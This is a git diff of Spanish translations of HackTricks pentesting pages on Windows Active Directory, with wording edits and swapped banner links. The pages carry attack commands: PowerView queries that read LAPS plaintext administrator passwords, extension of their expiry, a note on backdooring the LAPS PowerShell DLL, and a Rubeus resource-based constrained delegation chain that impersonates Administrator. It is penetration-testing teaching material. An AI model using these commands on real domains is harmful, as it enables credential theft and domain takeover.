La instalación de OpenSSH en el primer servidor habilita una solución alternativa para el problema de doble salto, particularmente útil para escenarios de caja de salto. Este método requiere la instalación de CLI y la configuración de OpenSSH para Windows. Cuando se configura para la Autenticación de Contraseña, esto permite que el servidor intermedio obtenga un TGT en nombre del usuario.
|
||||
La instalación de OpenSSH en el primer servidor habilita una solución alternativa para el problema del doble salto, particularmente útil para escenarios de caja de salto. Este método requiere la instalación de CLI y la configuración de OpenSSH para Windows. Cuando se configura para la Autenticación de Contraseña, esto permite que el servidor intermedio obtenga un TGT en nombre del usuario.
|
||||
|
||||
#### Pasos de Instalación de OpenSSH
|
||||
|
||||
|
@ -100,7 +102,7 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
|||
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
|
||||
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -110,7 +112,7 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
|||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -2,24 +2,24 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Información Básica
|
||||
|
||||
Local Administrator Password Solution (LAPS) es una herramienta utilizada para gestionar un sistema donde las **contraseñas de administrador**, que son **únicas, aleatorias y cambiadas con frecuencia**, se aplican a computadoras unidas a un dominio. Estas contraseñas se almacenan de forma segura dentro de Active Directory y solo son accesibles para usuarios que han sido otorgados permiso a través de Listas de Control de Acceso (ACLs). La seguridad de las transmisiones de contraseñas desde el cliente hasta el servidor está garantizada por el uso de **Kerberos versión 5** y **Advanced Encryption Standard (AES)**.
|
||||
Local Administrator Password Solution (LAPS) es una herramienta utilizada para gestionar un sistema donde las **contraseñas de administrador**, que son **únicas, aleatorias y cambiadas con frecuencia**, se aplican a computadoras unidas a un dominio. Estas contraseñas se almacenan de forma segura dentro de Active Directory y solo son accesibles para usuarios que han sido otorgados permiso a través de Listas de Control de Acceso (ACLs). La seguridad de las transmisiones de contraseñas desde el cliente hasta el servidor está garantizada por el uso de **Kerberos versión 5** y **Estándar de Cifrado Avanzado (AES)**.
|
||||
|
||||
En los objetos de computadora del dominio, la implementación de LAPS resulta en la adición de dos nuevos atributos: **`ms-mcs-AdmPwd`** y **`ms-mcs-AdmPwdExpirationTime`**. Estos atributos almacenan la **contraseña de administrador en texto plano** y **su tiempo de expiración**, respectivamente.
|
||||
|
||||
|
@ -38,9 +38,9 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
|
|||
```
|
||||
### Acceso a Contraseñas de LAPS
|
||||
|
||||
Podrías **descargar la política LAPS en bruto** desde `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` y luego utilizar **`Parse-PolFile`** del paquete [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) para convertir este archivo a un formato legible por humanos.
|
||||
Podrías **descargar la directiva LAPS en bruto** desde `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` y luego utilizar **`Parse-PolFile`** del paquete [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) para convertir este archivo a un formato legible por humanos.
|
||||
|
||||
Además, los **cmdlets nativos de PowerShell de LAPS** pueden ser utilizados si están instalados en una máquina a la que tenemos acceso:
|
||||
Además, los **cmdlets nativos de LAPS en PowerShell** pueden ser utilizados si están instalados en una máquina a la que tenemos acceso:
|
||||
```powershell
|
||||
Get-Command *AdmPwd*
|
||||
|
||||
|
@ -71,7 +71,7 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
|
|||
```
|
||||
### LAPSToolkit
|
||||
|
||||
El [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilita la enumeración de LAPS con varias funciones. Uno de ellos es analizar **`ExtendedRights`** para **todos los equipos con LAPS habilitado**. Esto mostrará **grupos** específicamente **delegados para leer contraseñas de LAPS**, que a menudo son usuarios en grupos protegidos. Una **cuenta** que ha **unido un equipo** a un dominio recibe `Todos los derechos extendidos` sobre ese host, y este derecho le otorga a la **cuenta** la capacidad de **leer contraseñas**. La enumeración puede mostrar una cuenta de usuario que puede leer la contraseña de LAPS en un host. Esto puede ayudarnos a **apuntar a usuarios AD específicos** que pueden leer contraseñas de LAPS.
|
||||
El [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilita la enumeración de LAPS con varias funciones. Uno de ellos es analizar **`ExtendedRights`** para **todos los equipos con LAPS habilitado**. Esto mostrará los **grupos** específicamente **delegados para leer contraseñas de LAPS**, que a menudo son usuarios en grupos protegidos. Una **cuenta** que ha **unido un equipo** a un dominio recibe `Todos los derechos extendidos` sobre ese host, y este derecho le otorga a la **cuenta** la capacidad de **leer contraseñas**. La enumeración puede mostrar una cuenta de usuario que puede leer la contraseña de LAPS en un host. Esto puede ayudarnos a **apuntar a usuarios AD específicos** que pueden leer contraseñas de LAPS.
|
||||
```powershell
|
||||
# Get groups that can read passwords
|
||||
Find-LAPSDelegatedGroups
|
||||
|
@ -114,7 +114,7 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
|||
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
La contraseña aún se restablecerá si un **administrador** utiliza el cmdlet **`Reset-AdmPwdPassword`**; o si **No permitir que la contraseña caduque más tiempo del requerido por la política** está habilitado en la GPO de LAPS.
|
||||
La contraseña aún se restablecerá si un **administrador** utiliza el cmdlet **`Reset-AdmPwdPassword`**; o si está habilitada la opción **No permitir que la contraseña caduque más tiempo del requerido por la política** en la directiva de LAPS.
|
||||
{% endhint %}
|
||||
|
||||
### Puerta trasera
|
||||
|
@ -126,18 +126,18 @@ Luego, simplemente compile el nuevo `AdmPwd.PS.dll` y súbalo a la máquina en `
|
|||
## Referencias
|
||||
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,17 +2,17 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -48,7 +48,7 @@ Para cumplir con la seguridad operativa y utilizar AES256, se puede aplicar el s
|
|||
|
||||
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
|
|
@ -6,21 +6,21 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Conceptos básicos de la delegación restringida basada en recursos
|
||||
|
||||
Esto es similar a la [Delegación restringida](constrained-delegation.md) básica pero **en lugar** de dar permisos a un **objeto** para **suplantar a cualquier usuario frente a un servicio**. La Delegación restringida basada en recursos **establece en el objeto quién puede suplantar a cualquier usuario frente a él**.
|
||||
Esto es similar a la [Delegación restringida](constrained-delegation.md) básica pero **en lugar** de dar permisos a un **objeto** para **suplantar a cualquier usuario frente a un servicio**. La Delegación restringida basada en recursos **establece** en **el objeto quién puede suplantar a cualquier usuario frente a él**.
|
||||
|
||||
En este caso, el objeto restringido tendrá un atributo llamado _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ con el nombre del usuario que puede suplantar a cualquier otro usuario frente a él.
|
||||
|
||||
|
@ -28,7 +28,7 @@ Otra diferencia importante de esta Delegación restringida con respecto a las ot
|
|||
|
||||
### Nuevos conceptos
|
||||
|
||||
En la Delegación restringida se mencionó que la bandera **`TrustedToAuthForDelegation`** dentro del valor _userAccountControl_ del usuario es necesaria para realizar un **S4U2Self**. Pero eso no es del todo cierto.\
|
||||
En la Delegación restringida se mencionó que la bandera **`TrustedToAuthForDelegation`** dentro del valor _userAccountControl_ del usuario es necesaria para realizar un **S4U2Self.** Pero eso no es completamente cierto.\
|
||||
La realidad es que incluso sin ese valor, puedes realizar un **S4U2Self** contra cualquier usuario si eres un **servicio** (tienes un SPN) pero, si **tienes `TrustedToAuthForDelegation`** el TGS devuelto será **Forwardable** y si **no tienes** esa bandera el TGS devuelto **no** será **Forwardable**.
|
||||
|
||||
Sin embargo, si el **TGS** utilizado en **S4U2Proxy** **NO es Forwardable** intentar abusar de una **Delegación restringida básica** no funcionará. Pero si estás intentando explotar una **delegación restringida basada en recursos, funcionará** (esto no es una vulnerabilidad, es una característica, aparentemente).
|
||||
|
@ -39,15 +39,15 @@ Sin embargo, si el **TGS** utilizado en **S4U2Proxy** **NO es Forwardable** inte
|
|||
|
||||
Supongamos que el atacante ya tiene **privilegios equivalentes de escritura sobre la computadora víctima**.
|
||||
|
||||
1. El atacante **compromete** una cuenta que tiene un **SPN** o **crea uno** (“Servicio A”). Ten en cuenta que **cualquier** _Usuario Administrador_ sin ningún otro privilegio especial puede **crear** hasta 10 **objetos de Computadora (**_**MachineAccountQuota**_**)** y establecerles un **SPN**. Por lo tanto, el atacante puede simplemente crear un objeto de Computadora y establecer un SPN.
|
||||
2. El atacante **abusa de su privilegio de ESCRITURA** sobre la computadora víctima (ServicioB) para configurar **delegación restringida basada en recursos para permitir que el ServicioA suplante a cualquier usuario** frente a esa computadora víctima (ServicioB).
|
||||
3. El atacante utiliza Rubeus para realizar un **ataque S4U completo** (S4U2Self y S4U2Proxy) desde el Servicio A al Servicio B para un usuario **con acceso privilegiado al Servicio B**.
|
||||
1. S4U2Self (desde la cuenta comprometida/creada con SPN): Solicita un **TGS del Administrador para mí** (No Forwardable).
|
||||
2. S4U2Proxy: Utiliza el **TGS no Forwardable** del paso anterior para solicitar un **TGS** del **Administrador** a la **máquina víctima**.
|
||||
1. El atacante **compromete** una cuenta que tiene un **SPN** o **crea uno** (“Servicio A”). Ten en cuenta que **cualquier** _Usuario Administrador_ sin ningún otro privilegio especial puede **crear** hasta 10 **objetos de Computadora (**_**MachineAccountQuota**_**)** y establecerles un **SPN**. Así que el atacante puede simplemente crear un objeto de Computadora y establecer un SPN.
|
||||
2. El atacante **abusa de su privilegio de ESCRITURA** sobre la computadora víctima (ServicioB) para configurar **delegación restringida basada en recursos para permitir que ServicioA suplante a cualquier usuario** frente a esa computadora víctima (ServicioB).
|
||||
3. El atacante utiliza Rubeus para realizar un **ataque S4U completo** (S4U2Self y S4U2Proxy) desde Servicio A a Servicio B para un usuario **con acceso privilegiado a Servicio B**.
|
||||
1. S4U2Self (desde la cuenta comprometida/creada con SPN): Solicita un **TGS de Administrador para mí** (No Forwardable).
|
||||
2. S4U2Proxy: Utiliza el **TGS no Forwardable** del paso anterior para solicitar un **TGS** de **Administrador** a la **máquina víctima**.
|
||||
3. Incluso si estás utilizando un TGS no Forwardable, como estás explotando la delegación restringida basada en recursos, funcionará.
|
||||
4. El atacante puede **pasar el ticket** e **impersonar** al usuario para obtener **acceso al ServicioB víctima**.
|
||||
|
||||
Para verificar el _**MachineAccountQuota**_ del dominio, puedes usar:
|
||||
Para verificar el _**MachineAccountQuota**_ del dominio puedes usar:
|
||||
```powershell
|
||||
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
|
||||
```
|
||||
|
@ -65,7 +65,7 @@ Get-DomainComputer SERVICEA
|
|||
```
|
||||
### Configuración de la **Delegación restringida basada en recursos**
|
||||
|
||||
**Usando el módulo PowerShell de activedirectory**
|
||||
**Usando el módulo PowerShell de Active Directory**
|
||||
```powershell
|
||||
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
|
||||
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
|
||||
|
@ -85,9 +85,9 @@ msds-allowedtoactonbehalfofotheridentity
|
|||
----------------------------------------
|
||||
{1, 0, 4, 128...}
|
||||
```
|
||||
### Realizando un ataque S4U completo
|
||||
### Realizando un ataque completo S4U
|
||||
|
||||
En primer lugar, creamos el nuevo objeto de Computadora con la contraseña `123456`, por lo que necesitamos el hash de esa contraseña:
|
||||
En primer lugar, creamos el nuevo objeto de Equipo con la contraseña `123456`, por lo que necesitamos el hash de esa contraseña:
|
||||
```bash
|
||||
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
|
||||
```
|
||||
|
@ -101,13 +101,13 @@ Puedes generar más tickets simplemente preguntando una vez usando el parámetro
|
|||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que los usuarios tienen un atributo llamado "**No se puede delegar**". Si un usuario tiene este atributo en Verdadero, no podrás suplantarlo. Esta propiedad se puede ver dentro de Bloodhound.
|
||||
Ten en cuenta que los usuarios tienen un atributo llamado "**No se puede delegar**". Si un usuario tiene este atributo como Verdadero, no podrás suplantarlo. Esta propiedad se puede ver dentro de bloodhound.
|
||||
{% endhint %}
|
||||
|
||||
### Accediendo
|
||||
### Acceso
|
||||
|
||||
El último comando de la línea de comandos realizará el **ataque S4U completo e inyectará el TGS** del Administrador al host víctima en **memoria**.\
|
||||
En este ejemplo se solicitó un TGS para el servicio **CIFS** del Administrador, por lo que podrás acceder a **C$**:
|
||||
El último comando en la línea de comandos realizará el **ataque S4U completo e inyectará el TGS** de Administrator al host víctima en **memoria**.\
|
||||
En este ejemplo se solicitó un TGS para el servicio **CIFS** de Administrator, por lo que podrás acceder a **C$**:
|
||||
```bash
|
||||
ls \\victim.domain.local\C$
|
||||
```
|
||||
|
@ -119,10 +119,10 @@ Aprende sobre los [**tickets de servicio disponibles aquí**](silver-ticket.md#a
|
|||
|
||||
* **`KDC_ERR_ETYPE_NOTSUPP`**: Esto significa que Kerberos está configurado para no usar DES o RC4 y estás suministrando solo el hash RC4. Suministra a Rubeus al menos el hash AES256 (o simplemente suministra los hashes rc4, aes128 y aes256). Ejemplo: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
* **`KRB_AP_ERR_SKEW`**: Esto significa que la hora del equipo actual es diferente a la del DC y Kerberos no está funcionando correctamente.
|
||||
* **`preauth_failed`**: Esto significa que el nombre de usuario + hashes dados no funcionan para iniciar sesión. Puede que hayas olvidado poner el "$" dentro del nombre de usuario al generar los hashes (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
* **`preauth_failed`**: Esto significa que el nombre de usuario dado + hashes no funcionan para iniciar sesión. Puede que hayas olvidado poner el "$" dentro del nombre de usuario al generar los hashes (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
* **`KDC_ERR_BADOPTION`**: Esto puede significar:
|
||||
* El usuario que estás intentando suplantar no puede acceder al servicio deseado (porque no puedes suplantarlo o porque no tiene suficientes privilegios)
|
||||
* El servicio solicitado no existe (si pides un ticket para winrm pero winrm no está en ejecución)
|
||||
* El servicio solicitado no existe (si solicitas un ticket para winrm pero winrm no está en ejecución)
|
||||
* El fakecomputer creado ha perdido sus privilegios sobre el servidor vulnerable y necesitas devolvérselos.
|
||||
|
||||
## Referencias
|
||||
|
@ -132,13 +132,13 @@ Aprende sobre los [**tickets de servicio disponibles aquí**](silver-ticket.md#a
|
|||
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
||||
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
@ -146,6 +146,6 @@ Otras formas de apoyar a HackTricks:
|
|||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,17 +2,17 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
